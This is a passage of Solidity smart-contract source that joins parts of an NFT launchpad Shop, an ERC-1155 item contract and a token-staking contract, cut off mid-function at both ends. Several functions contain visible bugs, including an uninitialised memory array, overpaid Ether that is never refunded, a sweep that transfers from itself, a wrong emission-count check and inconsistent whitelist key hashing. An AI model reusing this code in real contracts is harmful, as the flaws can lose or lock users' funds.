PoolItem[] memory poolItems = new PoolItem[](pools[poolId].itemGroups.length);
for (uint256 j = 0; j < pools[poolId].itemGroups.length; j++) {
uint256 itemGroupId = pools[poolId].itemGroups[j];
bytes32 itemKey = keccak256(abi.encodePacked(pools[poolId].currentPoolVersion, itemGroupId));
// Parse each price the item is sold at.
PricePair[] memory itemPrices = new PricePair[](pools[poolId].itemPricesLength[itemKey]);
for (uint256 k = 0; k < pools[poolId].itemPricesLength[itemKey]; k++) {
itemPrices[k] = pools[poolId].itemPrices[itemKey][k];
}
// Track the item.
poolItems[j] = PoolItem({
groupId: itemGroupId,
cap: pools[poolId].itemCaps[itemKey],
minted: pools[poolId].itemMinted[itemKey],
prices: itemPrices
});
}
// Track the pool.
uint256 whitelistId = pools[poolId].requirement.whitelistId;
bytes32 addressKey = keccak256(abi.encode(whitelists[whitelistId].currentWhitelistVersion, userAddress));
poolOutputs[i] = PoolAddressOutput({
name: pools[poolId].name,
startBlock: pools[poolId].startBlock,
endBlock: pools[poolId].endBlock,
purchaseLimit: pools[poolId].purchaseLimit,
requirement: pools[poolId].requirement,
itemMetadataUri: item.metadataUri(),
items: poolItems,
purchaseCount: pools[poolId].purchaseCounts[userAddress],
whitelistStatus: whitelists[whitelistId].addresses[addressKey]
});
}
// Return the pools.
return poolOutputs;
}
/**
A function which allows the original owner of the item contract to revoke
ownership from the launchpad.
*/
function ownershipClawback() external onlyOriginalOwner {
require(!ownershipLocked,
"Ownership transfers have been locked.");
item.transferOwnership(originalOwner);
// Emit an event that the original owner of the item contract has clawed the contract back.
emit OwnershipClawback();
}
/**
A function which allows the original owner of this contract to lock all
future ownership clawbacks.
*/
function lockOwnership() external onlyOriginalOwner {
ownershipLocked = true;
// Emit an event that the contract's ownership transferrance is locked.
emit OwnershipLocked();
}
/**
Allow the owner of the Shop to add a new pool of items to purchase.
@param pool The PoolInput full of data defining the pool's operation.
@param _groupIds The specific Fee1155 item group IDs to sell in this pool, keyed to `_amounts`.
@param _amounts The maximum amount of each particular groupId that can be sold by this pool.
@param _pricePairs The asset address to price pairings to use for selling
each item.
*/
function addPool(PoolInput calldata pool, uint256[] calldata _groupIds, uint256[] calldata _amounts, PricePair[][] memory _pricePairs) external onlyOwner {
updatePool(nextPoolId, pool, _groupIds, _amounts, _pricePairs);
// Increment the ID which will be used by the next pool added.
nextPoolId = nextPoolId.add(1);
}
/**
Allow the owner of the Shop to update an existing pool of items.
@param poolId The ID of the pool to update.
@param pool The PoolInput full of data defining the pool's operation.
@param _groupIds The specific Fee1155 item group IDs to sell in this pool, keyed to `_amounts`.
@param _amounts The maximum amount of each particular groupId that can be sold by this pool.
@param _pricePairs The asset address to price pairings to use for selling
each item.
*/
function updatePool(uint256 poolId, PoolInput calldata pool, uint256[] calldata _groupIds, uint256[] calldata _amounts, PricePair[][] memory _pricePairs) public onlyOwner {
require(poolId <= nextPoolId,
"You cannot update a non-existent pool.");
require(pool.endBlock >= pool.startBlock,
"You cannot create a pool which ends before it starts.");
require(_groupIds.length > 0,
"You must list at least one item group.");
require(_groupIds.length == _amounts.length,
"Item groups length cannot be mismatched with mintable amounts length.");
require(_groupIds.length == _pricePairs.length,
"Item groups length cannot be mismatched with price pair inputlength.");
// Immediately store some given information about this pool.
uint256 newPoolVersion = pools[poolId].currentPoolVersion.add(1);
pools[poolId] = Pool({
name: pool.name,
startBlock: pool.startBlock,
endBlock: pool.endBlock,
purchaseLimit: pool.purchaseLimit,
itemGroups: _groupIds,
currentPoolVersion: newPoolVersion,
requirement: pool.requirement
});
// Store the amount of each item group that this pool may mint.
for (uint256 i = 0; i < _groupIds.length; i++) {
require(_amounts[i] > 0,
"You cannot add an item with no mintable amount.");
bytes32 itemKey = keccak256(abi.encode(newPoolVersion, _groupIds[i]));
pools[poolId].itemCaps[itemKey] = _amounts[i];
// Store future purchase information for the item group.
for (uint256 j = 0; j < _pricePairs[i].length; j++) {
pools[poolId].itemPrices[itemKey][j] = _pricePairs[i][j];
}
pools[poolId].itemPricesLength[itemKey] = _pricePairs[i].length;
}
// Emit an event indicating that a pool has been updated.
emit PoolUpdated(poolId, pool, _groupIds, _amounts, _pricePairs);
}
/**
Allow the owner to add a new whitelist.
@param whitelist The WhitelistInput full of data defining the new whitelist.
*/
function addWhitelist(WhitelistInput memory whitelist) external onlyOwner {
updateWhitelist(nextWhitelistId, whitelist);
// Increment the ID which will be used by the next whitelist added.
nextWhitelistId = nextWhitelistId.add(1);
}
/**
Allow the owner to update a whitelist.
@param whitelistId The whitelist ID to replace with the new whitelist.
@param whitelist The WhitelistInput full of data defining the new whitelist.
*/
function updateWhitelist(uint256 whitelistId, WhitelistInput memory whitelist) public onlyOwner {
uint256 newWhitelistVersion = whitelists[whitelistId].currentWhitelistVersion.add(1);
// Immediately store some given information about this whitelist.
whitelists[whitelistId] = Whitelist({
expiryBlock: whitelist.expiryBlock,
isActive: whitelist.isActive,
currentWhitelistVersion: newWhitelistVersion
});
// Invalidate the old mapping and store the new participation flags.
for (uint256 i = 0; i < whitelist.addresses.length; i++) {
bytes32 addressKey = keccak256(abi.encode(newWhitelistVersion, whitelist.addresses[i]));
whitelists[whitelistId].addresses[addressKey] = true;
}
// Emit an event to track the new, replaced state of the whitelist.
emit WhitelistUpdated(whitelistId, whitelist.addresses);
}
/**
Allow the owner to add specified addresses to a whitelist.
@param whitelistId The ID of the whitelist to add users to.
@param addresses The array of addresses to add.
*/
function addToWhitelist(uint256 whitelistId, address[] calldata addresses) public onlyOwner {
uint256 whitelistVersion = whitelists[whitelistId].currentWhitelistVersion;
for (uint256 i = 0; i < addresses.length; i++) {
bytes32 addressKey = keccak256(abi.encode(whitelistVersion, addresses[i]));
whitelists[whitelistId].addresses[addressKey] = true;
}
// Emit an event to track the addition of new addresses to the whitelist.
emit WhitelistAddition(whitelistId, addresses);
}
/**
Allow the owner to remove specified addresses from a whitelist.
@param whitelistId The ID of the whitelist to remove users from.
@param addresses The array of addresses to remove.
*/
function removeFromWhitelist(uint256 whitelistId, address[] calldata addresses) public onlyOwner {
uint256 whitelistVersion = whitelists[whitelistId].currentWhitelistVersion;
for (uint256 i = 0; i < addresses.length; i++) {
bytes32 addressKey = keccak256(abi.encode(whitelistVersion, addresses[i]));
whitelists[whitelistId].addresses[addressKey] = false;
}
// Emit an event to track the removal of addresses from the whitelist.
emit WhitelistRemoval(whitelistId, addresses);
}
/**
Allow the owner to manually set the active status of a specific whitelist.
@param whitelistId The ID of the whitelist to update the active flag for.
@param isActive The boolean flag to enable or disable the whitelist.
*/
function setWhitelistActive(uint256 whitelistId, bool isActive) public onlyOwner {
whitelists[whitelistId].isActive = isActive;
// Emit an event to track whitelist activation status changes.
emit WhitelistActiveUpdate(whitelistId, isActive);
}
/**
A function which allows the caller to retrieve whether or not addresses can
participate in some given whitelists.
@param whitelistIds The IDs of the whitelists to check for addresses.
@param addresses The addresses to check whitelist eligibility for.
*/
function getWhitelistStatus(uint256[] calldata whitelistIds, address[] calldata addresses) external view returns (bool[][] memory) {
bool[][] memory whitelistStatus;
for (uint256 i = 0; i < whitelistIds.length; i++) {
uint256 whitelistId = whitelistIds[i];
uint256 whitelistVersion = whitelists[whitelistId].currentWhitelistVersion;
for (uint256 j = 0; j < addresses.length; j++) {
bytes32 addressKey = keccak256(abi.encode(whitelistVersion, addresses[j]));
whitelistStatus[j][i] = whitelists[whitelistId].addresses[addressKey];
}
}
return whitelistStatus;
}
/**
Allow a user to purchase an item from a pool.
@param poolId The ID of the particular pool that the user would like to purchase from.
@param groupId The item group ID that the user would like to purchase.
@param assetId The type of payment asset that the user would like to purchase with.
@param amount The amount of item that the user would like to purchase.
*/
function mintFromPool(uint256 poolId, uint256 groupId, uint256 assetId, uint256 amount) external nonReentrant payable {
require(amount > 0,
"You must purchase at least one item.");
require(poolId < nextPoolId,
"You can only purchase items from an active pool.");
// Verify that the asset being used in the purchase is valid.
bytes32 itemKey = keccak256(abi.encode(pools[poolId].currentPoolVersion, groupId));
require(assetId < pools[poolId].itemPricesLength[itemKey],
"Your specified asset ID is not valid.");
// Verify that the pool is still running its sale.
require(block.number >= pools[poolId].startBlock && block.number <= pools[poolId].endBlock,
"This pool is not currently running its sale.");
// Verify that the pool is respecting per-address global purchase limits.
uint256 userGlobalPurchaseAmount = amount.add(globalPurchaseCounts[msg.sender]);
require(userGlobalPurchaseAmount <= globalPurchaseLimit,
"You may not purchase any more items from this sale.");
// Verify that the pool is respecting per-address pool purchase limits.
uint256 userPoolPurchaseAmount = amount.add(pools[poolId].purchaseCounts[msg.sender]);
require(userPoolPurchaseAmount <= pools[poolId].purchaseLimit,
"You may not purchase any more items from this pool.");
// Verify that the pool is either public, whitelist-expired, or an address is whitelisted.
{
uint256 whitelistId = pools[poolId].requirement.whitelistId;
uint256 whitelistVersion = whitelists[whitelistId].currentWhitelistVersion;
bytes32 addressKey = keccak256(abi.encode(whitelistVersion, msg.sender));
bool addressWhitelisted = whitelists[whitelistId].addresses[addressKey];
require(whitelistId == 0 || block.number > whitelists[whitelistId].expiryBlock || addressWhitelisted || !whitelists[whitelistId].isActive,
"You are not whitelisted on this pool.");
}
// Verify that the pool is not depleted by the user's purchase.
uint256 newCirculatingTotal = pools[poolId].itemMinted[itemKey].add(amount);
require(newCirculatingTotal <= pools[poolId].itemCaps[itemKey],
"There are not enough items available for you to purchase.");
// Verify that the user meets any requirements gating participation in this pool.
PoolRequirement memory poolRequirement = pools[poolId].requirement;
if (poolRequirement.requiredType == 1) {
IERC20 requiredToken = IERC20(poolRequirement.requiredAsset);
require(requiredToken.balanceOf(msg.sender) >= poolRequirement.requiredAmount,
"You do not have enough required token to participate in this pool.");
}
// TODO: supporting item gate requirement requires upgrading the Fee1155 contract.
// else if (poolRequirement.requiredType == 2) {
// Fee1155 requiredItem = Fee1155(poolRequirement.requiredAsset);
// require(requiredItem.balanceOf(msg.sender) >= poolRequirement.requiredAmount,
// "You do not have enough required item to participate in this pool.");
// }
// Process payment for the user.
// If the sentinel value for the point asset type is found, sell for points.
// This involves converting the asset from an address to a Staker index.
PricePair memory sellingPair = pools[poolId].itemPrices[itemKey][assetId];
if (sellingPair.assetType == 0) {
uint256 stakerIndex = uint256(sellingPair.asset);
stakers[stakerIndex].spendPoints(msg.sender, sellingPair.price.mul(amount));
// If the sentinel value for the Ether asset type is found, sell for Ether.
} else if (sellingPair.assetType == 1) {
uint256 etherPrice = sellingPair.price.mul(amount);
require(msg.value >= etherPrice,
"You did not send enough Ether to complete this purchase.");
(bool success, ) = payable(owner()).call{ value: msg.value }("");
require(success, "Shop owner transfer failed.");
// Otherwise, attempt to sell for an ERC20 token.
} else {
IERC20 sellingAsset = IERC20(sellingPair.asset);
uint256 tokenPrice = sellingPair.price.mul(amount);
require(sellingAsset.balanceOf(msg.sender) >= tokenPrice,
"You do not have enough token to complete this purchase.");
sellingAsset.safeTransferFrom(msg.sender, owner(), tokenPrice);
}
// If payment is successful, mint each of the user's purchased items.
uint256[] memory itemIds = new uint256[](amount);
uint256[] memory amounts = new uint256[](amount);
uint256 nextIssueNumber = nextItemIssues[groupId];
{
uint256 shiftedGroupId = groupId << 128;
for (uint256 i = 1; i <= amount; i++) {
uint256 itemId = shiftedGroupId.add(nextIssueNumber).add(i);
itemIds[i - 1] = itemId;
amounts[i - 1] = 1;
}
}
// Mint the items.
item.createNFT(msg.sender, itemIds, amounts, "");
// Update the tracker for available item issue numbers.
nextItemIssues[groupId] = nextIssueNumber.add(amount);
// Update the count of circulating items from this pool.
pools[poolId].itemMinted[itemKey] = newCirculatingTotal;
// Update the pool's count of items that a user has purchased.
pools[poolId].purchaseCounts[msg.sender] = userPoolPurchaseAmount;
// Update the global count of items that a user has purchased.
globalPurchaseCounts[msg.sender] = userGlobalPurchaseAmount;
// Emit an event indicating a successful purchase.
emit ItemPurchased(poolId, itemIds, assetId, amounts, msg.sender);
}
/**
Sweep all of a particular ERC-20 token from the contract.
@param _token The token to sweep the balance from.
*/
function sweep(IERC20 _token) external onlyOwner {
uint256 balance = _token.balanceOf(address(this));
_token.safeTransferFrom(address(this), msg.sender, balance);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./FeeOwner.sol";
/**
@title An OpenSea delegate proxy contract which we include for whitelisting.
@author OpenSea
*/
contract OwnableDelegateProxy { }
/**
@title An OpenSea proxy registry contract which we include for whitelisting.
@author OpenSea
*/
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
@title An ERC-1155 item creation contract which specifies an associated
FeeOwner who receives royalties from sales of created items.
@author Tim Clancy
The fee set by the FeeOwner on this Item is honored by Shop contracts.
In addition to the inherited OpenZeppelin dependency, this uses ideas from
the original ERC-1155 reference implementation.
*/
contract Fee1155NFTLockable is ERC1155, Ownable {
using SafeMath for uint256;
/// A version number for this fee-bearing 1155 item contract's interface.
uint256 public version = 1;
/// The ERC-1155 URI for looking up item metadata using {id} substitution.
string public metadataUri;
/// A user-specified FeeOwner to receive a portion of item sale earnings.
FeeOwner public feeOwner;
/// Specifically whitelist an OpenSea proxy registry address.
address public proxyRegistryAddress;
/// A counter to enforce unique IDs for each item group minted.
uint256 public nextItemGroupId;
/// This mapping tracks the number of unique items within each item group.
mapping (uint256 => uint256) public itemGroupSizes;
/// Whether or not the item collection has been locked to further minting.
bool public locked;
/// An event for tracking the creation of an item group.
event ItemGroupCreated(uint256 itemGroupId, uint256 itemGroupSize,
address indexed creator);
/**
Construct a new ERC-1155 item with an associated FeeOwner fee.
@param _uri The metadata URI to perform token ID substitution in.
@param _feeOwner The address of a FeeOwner who receives earnings from this
item.
*/
constructor(string memory _uri, FeeOwner _feeOwner, address _proxyRegistryAddress) public ERC1155(_uri) {
metadataUri = _uri;
feeOwner = _feeOwner;
proxyRegistryAddress = _proxyRegistryAddress;
nextItemGroupId = 0;
locked = false;
}
/**
An override to whitelist the OpenSea proxy contract to enable gas-free
listings. This function returns true if `_operator` is approved to transfer
items owned by `_owner`.
@param _owner The owner of items to check for transfer ability.
@param _operator The potential transferrer of `_owner`'s items.
*/
function isApprovedForAll(address _owner, address _operator) public view override returns (bool isOperator) {
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(_owner)) == _operator) {
return true;
}
return ERC1155.isApprovedForAll(_owner, _operator);
}
/**
Allow the item owner to update the metadata URI of this collection.
@param _uri The new URI to update to.
*/
function setURI(string calldata _uri) external onlyOwner {
metadataUri = _uri;
}
/**
Allow the item owner to forever lock this contract to further item minting.
*/
function lock() external onlyOwner {
locked = true;
}
/**
Create a new NFT item group of a specific size. NFTs within a group share a
group ID in the upper 128-bits of their full item ID. Within a group NFTs
can be distinguished for the purposes of serializing issue numbers.
@param recipient The address to receive all NFTs within the newly-created group.
@param ids The item IDs for the new items to create.
@param amounts The amount of each corresponding item ID to create.
@param data Any associated data to use on items minted in this transaction.
*/
function createNFT(address recipient, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external onlyOwner returns (uint256) {
require(!locked,
"You cannot create more NFTs on a locked collection.");
require(ids.length > 0,
"You cannot create an empty item group.");
require(ids.length == amounts.length,
"IDs length cannot be mismatched with amounts length.");
// Create an item group of requested size using the next available ID.
uint256 shiftedGroupId = nextItemGroupId << 128;
itemGroupSizes[shiftedGroupId] = ids.length;
// Mint the entire batch of items.
_mintBatch(recipient, ids, amounts, data);
// Increment our next item group ID and return our created item group ID.
nextItemGroupId = nextItemGroupId.add(1);
emit ItemGroupCreated(shiftedGroupId, ids.length, msg.sender);
return shiftedGroupId;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
@title An asset staking contract.
@author Tim Clancy
This staking contract disburses tokens from its internal reservoir according
to a fixed emission schedule. Assets can be assigned varied staking weights.
This code is inspired by and modified from Sushi's Master Chef contract.
https://github.com/sushiswap/sushiswap/blob/master/contracts/MasterChef.sol
*/
contract Staker is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// A user-specified, descriptive name for this Staker.
string public name;
// The token to disburse.
IERC20 public token;
// The amount of the disbursed token deposited by users. This is used for the
// special case where a staking pool has been created for the disbursed token.
// This is required to prevent the Staker itself from reducing emissions.
uint256 public totalTokenDeposited;
// A flag signalling whether the contract owner can add or set developers.
bool public canAlterDevelopers;
// An array of developer addresses for finding shares in the share mapping.
address[] public developerAddresses;
// A mapping of developer addresses to their percent share of emissions.
// Share percentages are represented as 1/1000th of a percent. That is, a 1%
// share of emissions should map an address to 1000.
mapping (address => uint256) public developerShares;
// A flag signalling whether or not the contract owner can alter emissions.
bool public canAlterTokenEmissionSchedule;
bool public canAlterPointEmissionSchedule;
// The token emission schedule of the Staker. This emission schedule maps a
// block number to the amount of tokens or points that should be disbursed with every
// block beginning at said block number.
struct EmissionPoint {
uint256 blockNumber;
uint256 rate;
}
// An array of emission schedule key blocks for finding emission rate changes.
uint256 public tokenEmissionBlockCount;
mapping (uint256 => EmissionPoint) public tokenEmissionBlocks;
uint256 public pointEmissionBlockCount;
mapping (uint256 => EmissionPoint) public pointEmissionBlocks;
// Store the very earliest possible emission block for quick reference.
uint256 MAX_INT = 2**256 - 1;
uint256 internal earliestTokenEmissionBlock;
uint256 internal earliestPointEmissionBlock;
// Information for each pool that can be staked in.
// - token: the address of the ERC20 asset that is being staked in the pool.
// - strength: the relative token emission strength of this pool.
// - lastRewardBlock: the last block number where token distribution occurred.
// - tokensPerShare: accumulated tokens per share times 1e12.
// - pointsPerShare: accumulated points per share times 1e12.
struct PoolInfo {
IERC20 token;
uint256 tokenStrength;
uint256 tokensPerShare;
uint256 pointStrength;
uint256 pointsPerShare;
uint256 lastRewardBlock;
}
IERC20[] public poolTokens;
// Stored information for each available pool per its token address.
mapping (IERC20 => PoolInfo) public poolInfo;
// Information for each user per staking pool:
// - amount: the amount of the pool asset being provided by the user.
// - tokenPaid: the value of the user's total earning that has been paid out.
// -- pending reward = (user.amount * pool.tokensPerShare) - user.rewardDebt.
// - pointPaid: the value of the user's total point earnings that has been paid out.
struct UserInfo {
uint256 amount;
uint256 tokenPaid;
uint256 pointPaid;
}
// Stored information for each user staking in each pool.
mapping (IERC20 => mapping (address => UserInfo)) public userInfo;
// The total sum of the strength of all pools.
uint256 public totalTokenStrength;
uint256 public totalPointStrength;
// The total amount of the disbursed token ever emitted by this Staker.
uint256 public totalTokenDisbursed;
// Users additionally accrue non-token points for participating via staking.
mapping (address => uint256) public userPoints;
mapping (address => uint256) public userSpentPoints;
// A map of all external addresses that are permitted to spend user points.
mapping (address => bool) public approvedPointSpenders;
// Events for depositing assets into the Staker and later withdrawing them.
event Deposit(address indexed user, IERC20 indexed token, uint256 amount);
event Withdraw(address indexed user, IERC20 indexed token, uint256 amount);
// An event for tracking when a user has spent points.
event SpentPoints(address indexed source, address indexed user, uint256 amount);
/**
Construct a new Staker by providing it a name and the token to disburse.
@param _name The name of the Staker contract.
@param _token The token to reward stakers in this contract with.
*/
constructor(string memory _name, IERC20 _token) public {
name = _name;
token = _token;
token.approve(address(this), MAX_INT);
canAlterDevelopers = true;
canAlterTokenEmissionSchedule = true;
earliestTokenEmissionBlock = MAX_INT;
canAlterPointEmissionSchedule = true;
earliestPointEmissionBlock = MAX_INT;
}
/**
Add a new developer to the Staker or overwrite an existing one.
This operation requires that developer address addition is not locked.
@param _developerAddress The additional developer's address.
@param _share The share in 1/1000th of a percent of each token emission sent
to this new developer.
*/
function addDeveloper(address _developerAddress, uint256 _share) external onlyOwner {
require(canAlterDevelopers,
"This Staker has locked the addition of developers; no more may be added.");
developerAddresses.push(_developerAddress);
developerShares[_developerAddress] = _share;
}
/**
Permanently forfeits owner ability to alter the state of Staker developers.
Once called, this function is intended to give peace of mind to the Staker's
developers and community that the fee structure is now immutable.
*/
function lockDevelopers() external onlyOwner {
canAlterDevelopers = false;
}
/**
A developer may at any time update their address or voluntarily reduce their
share of emissions by calling this function from their current address.
Note that updating a developer's share to zero effectively removes them.
@param _newDeveloperAddress An address to update this developer's address.
@param _newShare The new share in 1/1000th of a percent of each token
emission sent to this developer.
*/
function updateDeveloper(address _newDeveloperAddress, uint256 _newShare) external {
uint256 developerShare = developerShares[msg.sender];
require(developerShare > 0,
"You are not a developer of this Staker.");
require(_newShare <= developerShare,
"You cannot increase your developer share.");
developerShares[msg.sender] = 0;
developerAddresses.push(_newDeveloperAddress);
developerShares[_newDeveloperAddress] = _newShare;
}
/**
Set new emission details to the Staker or overwrite existing ones.
This operation requires that emission schedule alteration is not locked.
@param _tokenSchedule An array of EmissionPoints defining the token schedule.
@param _pointSchedule An array of EmissionPoints defining the point schedule.
*/
function setEmissions(EmissionPoint[] memory _tokenSchedule, EmissionPoint[] memory _pointSchedule) external onlyOwner {
if (_tokenSchedule.length > 0) {
require(canAlterTokenEmissionSchedule,
"This Staker has locked the alteration of token emissions.");
tokenEmissionBlockCount = _tokenSchedule.length;
for (uint256 i = 0; i < tokenEmissionBlockCount; i++) {
tokenEmissionBlocks[i] = _tokenSchedule[i];
if (earliestTokenEmissionBlock > _tokenSchedule[i].blockNumber) {
earliestTokenEmissionBlock = _tokenSchedule[i].blockNumber;
}
}
}
require(tokenEmissionBlockCount > 0,
"You must set the token emission schedule.");
if (_pointSchedule.length > 0) {
require(canAlterPointEmissionSchedule,
"This Staker has locked the alteration of point emissions.");
pointEmissionBlockCount = _pointSchedule.length;
for (uint256 i = 0; i < pointEmissionBlockCount; i++) {
pointEmissionBlocks[i] = _pointSchedule[i];
if (earliestPointEmissionBlock > _pointSchedule[i].blockNumber) {
earliestPointEmissionBlock = _pointSchedule[i].blockNumber;
}
}
}
require(tokenEmissionBlockCount > 0,
"You must set the point emission schedule.");
}
/**
Permanently forfeits owner ability to alter the emission schedule.
Once called, this function is intended to give peace of mind to the Staker's
developers and community that the inflation rate is now immutable.
*/
function lockTokenEmissions() external onlyOwner {
canAlterTokenEmissionSchedule = false;
}
/**
Permanently forfeits owner ability to alter the emission schedule.
Once called, this function is intended to give peace of mind to the Staker's
developers and community that the inflation rate is now immutable.
*/
function lockPointEmissions() external onlyOwner {
canAlterPointEmissionSchedule = false;
}
/**
Returns the length of the developer address array.
@return the length of the developer address array.
*/
function getDeveloperCount() external view returns (uint256) {
return developerAddresses.length;
}
/**
Returns the length of the staking pool array.
@return the length of the staking pool array.
*/
function getPoolCount() external view returns (uint256) {
return poolTokens.length;
}
/**
Returns the amount of token that has not been disbursed by the Staker yet.
@return the amount of token that has not been disbursed by the Staker yet.
*/
function getRemainingToken() external view returns (uint256) {
return token.balanceOf(address(this));
}
/**
Allows the contract owner to add a new asset pool to the Staker or overwrite
an existing one.
@param _token The address of the asset to base this staking pool off of.
@param _tokenStrength The relative strength of the new asset for earning token.
@param _pointStrength The relative strength of the new asset for earning points.
*/
function addPool(IERC20 _token, uint256 _tokenStrength, uint256 _pointStrength) external onlyOwner {
require(tokenEmissionBlockCount > 0 && pointEmissionBlockCount > 0,
"Staking pools cannot be addded until an emission schedule has been defined.");
uint256 lastTokenRewardBlock = block.number > earliestTokenEmissionBlock ? block.number : earliestTokenEmissionBlock;
uint256 lastPointRewardBlock = block.number > earliestPointEmissionBlock ? block.number : earliestPointEmissionBlock;
uint256 lastRewardBlock = lastTokenRewardBlock > lastPointRewardBlock ? lastTokenRewardBlock : lastPointRewardBlock;
if (address(poolInfo[_token].token) == address(0)) {
poolTokens.push(_token);
totalTokenStrength = totalTokenStrength.add(_tokenStrength);
totalPointStrength = totalPointStrength.add(_pointStrength);
poolInfo[_token] = PoolInfo({
token: _token,
tokenStrength: _tokenStrength,
tokensPerShare: 0,
pointStrength: _pointStrength,
pointsPerShare: 0,
lastRewardBlock: lastRewardBlock
});
} else {
totalTokenStrength = totalTokenStrength.sub(poolInfo[_token].tokenStrength).add(_tokenStrength);
poolInfo[_token].tokenStrength = _tokenStrength;
totalPointStrength = totalPointStrength.sub(poolInfo[_token].pointStrength).add(_pointStrength);
poolInfo[_token].pointStrength = _pointStrength;
}
}
/**
Uses the emission schedule to calculate the total amount of staking reward
token that was emitted between two specified block numbers.
@param _fromBlock The block to begin calculating emissions from.
@param _toBlock The block to calculate total emissions up to.
*/
function getTotalEmittedTokens(uint256 _fromBlock, uint256 _toBlock) public view returns (uint256) {
require(_toBlock >= _fromBlock,
"Tokens cannot be emitted from a higher block to a lower block.");
uint256 totalEmittedTokens = 0;
uint256 workingRate = 0;
uint256 workingBlock = _fromBlock;
for (uint256 i = 0; i < tokenEmissionBlockCount; ++i) {
uint256 emissionBlock = tokenEmissionBlocks[i].blockNumber;
uint256 emissionRate = tokenEmissionBlocks[i].rate;
if (_toBlock < emissionBlock) {
totalEmittedTokens = totalEmittedTokens.add(_toBlock.sub(workingBlock).mul(workingRate));
return totalEmittedTokens;
} else if (workingBlock < emissionBlock) {
totalEmittedTokens = totalEmittedTokens.add(emissionBlock.sub(workingBlock).mul(workingRate));
workingBlock = emissionBlock;
}
workingRate = emissionRate;
}
if (workingBlock < _toBlock) {
totalEmittedTokens = totalEmittedTokens.add(_toBlock.sub(workingBlock).mul(workingRate));
}
return totalEmittedTokens;
}
/**
Uses the emission schedule to calculate the total amount of points
emitted between two specified block numbers.
@param _fromBlock The block to begin calculating emissions from.
@param _toBlock The block to calculate total emissions up to.
*/
function getTotalEmittedPoints(uint256 _fromBlock, uint256 _toBlock) public view returns (uint256) {
require(_toBlock >= _fromBlock,
"Points cannot be emitted from a higher block to a lower block.");
uint256 totalEmittedPoints = 0;
uint256 workingRate = 0;
uint256 workingBlock = _fromBlock;
for (uint256 i = 0; i < pointEmissionBlockCount; ++i) {
uint256 emissionBlock = pointEmissionBlocks[i].blockNumber;
uint256 emissionRate = pointEmissionBlocks[i].rate;
if (_toBlock < emissionBlock) {
totalEmittedPoints = totalEmittedPoints.add(_toBlock.sub(workingBlock).mul(workingRate));
return totalEmittedPoints;
} else if (workingBlock < emissionBlock) {
totalEmittedPoints = totalEmittedPoints.add(emissionBlock.sub(workingBlock).mul(workingRate));
workingBlock = emissionBlock;
}
workingRate = emissionRate;
}
if (workingBlock < _toBlock) {
totalEmittedPoints = totalEmittedPoints.add(_toBlock.sub(workingBlock).mul(workingRate));
}
return totalEmittedPoints;
}
/**
Update the pool corresponding to the specified token address.
@param _token The address of the asset to update the corresponding pool for.
*/
function updatePool(IERC20 _token) internal {
PoolInfo storage pool = poolInfo[_token];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 poolTokenSupply = pool.token.balanceOf(address(this));
if (address(_token) == address(token)) {
poolTokenSupply = totalTokenDeposited;
}
if (poolTokenSupply <= 0) {
pool.lastRewardBlock = block.number;
return;
}
// Calculate tokens and point rewards for this pool.
uint256 totalEmittedTokens = getTotalEmittedTokens(pool.lastRewardBlock, block.number);
uint256 tokensReward = totalEmittedTokens.mul(pool.tokenStrength).div(totalTokenStrength).mul(1e12);
uint256 totalEmittedPoints = getTotalEmittedPoints(pool.lastRewardBlock, block.number);
uint256 pointsReward = totalEmittedPoints.mul(pool.pointStrength).div(totalPointStrength).mul(1e30);
// Directly pay developers their corresponding share of tokens and points.
for (uint256 i = 0; i < developerAddresses.length; ++i) {
address developer = developerAddresses[i];
uint256 share = developerShares[developer];
uint256 devTokens = tokensReward.mul(share).div(100000);
tokensReward = tokensReward - devTokens;
uint256 devPoints = pointsReward.mul(share).div(100000);
pointsReward = pointsReward - devPoints;
token.safeTransferFrom(address(this), developer, devTokens.div(1e12));
userPoints[developer] = userPoints[developer].add(devPoints.div(1e30));
}
// Update the pool rewards per share to pay users the amount remaining.
pool.tokensPerShare = pool.tokensPerShare.add(tokensReward.div(poolTokenSupply));
pool.pointsPerShare = pool.pointsPerShare.add(pointsReward.div(poolTokenSupply));
pool.lastRewardBlock = block.number;
}
/**
A function to easily see the amount of token rewards pending for a user on a
given pool. Returns the pending reward token amount.
@param _token The address of a particular staking pool asset to check for a
pending reward.
@param _user The user address to check for a pending reward.
@return the pending reward token amount.
*/
function getPendingTokens(IERC20 _token, address _user) public view returns (uint256) {
PoolInfo storage pool = poolInfo[_token];
UserInfo storage user = userInfo[_token][_user];
uint256 tokensPerShare = pool.tokensPerShare;
uint256 poolTokenSupply = pool.token.balanceOf(address(this));
if (address(_token) == address(token)) {
poolTokenSupply = totalTokenDeposited;
}
if (block.number > pool.lastRewardBlock && poolTokenSupply > 0) {
uint256 totalEmittedTokens = getTotalEmittedTokens(pool.lastRewardBlock, block.number);
uint256 tokensReward = totalEmittedTokens.mul(pool.tokenStrength).div(totalTokenStrength).mul(1e12);
tokensPerShare = tokensPerShare.add(tokensReward.div(poolTokenSupply));
}
return user.amount.mul(tokensPerShare).div(1e12).sub(user.tokenPaid);
}
/**
A function to easily see the amount of point rewards pending for a user on a
given pool. Returns the pending reward point amount.
@param _token The address of a particular staking pool asset to check for a
pending reward.
@param _user The user address to check for a pending reward.
@return the pending reward token amount.
*/
function getPendingPoints(IERC20 _token, address _user) public view returns (uint256) {
PoolInfo storage pool = poolInfo[_token];
UserInfo storage user = userInfo[_token][_user];
uint256 pointsPerShare = pool.pointsPerShare;
uint256 poolTokenSupply = pool.token.balanceOf(address(this));
if (address(_token) == address(token)) {
